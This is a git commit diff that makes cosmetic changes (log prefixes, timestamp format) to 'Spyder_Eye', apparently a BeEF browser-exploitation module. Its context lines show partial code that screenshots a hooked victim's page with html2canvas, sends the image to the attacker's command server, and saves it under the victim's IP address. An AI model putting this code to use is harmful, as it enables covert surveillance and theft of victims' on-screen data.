Pollished the code a little
This commit is contained in:
@@ -16,7 +16,7 @@ beef.execute(function() {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
|
||||
});
|
||||
|
||||
beef.debug('html2canvas hasn\'t failed, that\'s something');
|
||||
beef.debug('[Spyder_Eye] html2canvas hasn\'t failed, that\'s something');
|
||||
}
|
||||
catch (e) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
|
||||
@@ -25,7 +25,7 @@ beef.execute(function() {
|
||||
|
||||
takeit = function() {
|
||||
for(var i = 0; i < takes; i++) {
|
||||
beef.debug('Taking ' + i + '. snapshot');
|
||||
beef.debug('[Spyder_Eye] Taking ' + i + '. snapshot');
|
||||
setTimeout(snap, delay * i);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -23,7 +23,7 @@ class Spyder_eye < BeEF::Core::Command
|
||||
|
||||
# save screenshot file
|
||||
begin
|
||||
timestamp = Time.now.getutc.to_s.gsub(/[ :]/, ' ' => '_', ':' => '-').chomp('_UTC')
|
||||
timestamp = Time.now.localtime.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
|
||||
filename = "screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
|
||||
File.open(filename, 'wb') do |file|
|
||||
@@ -38,4 +38,4 @@ class Spyder_eye < BeEF::Core::Command
|
||||
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user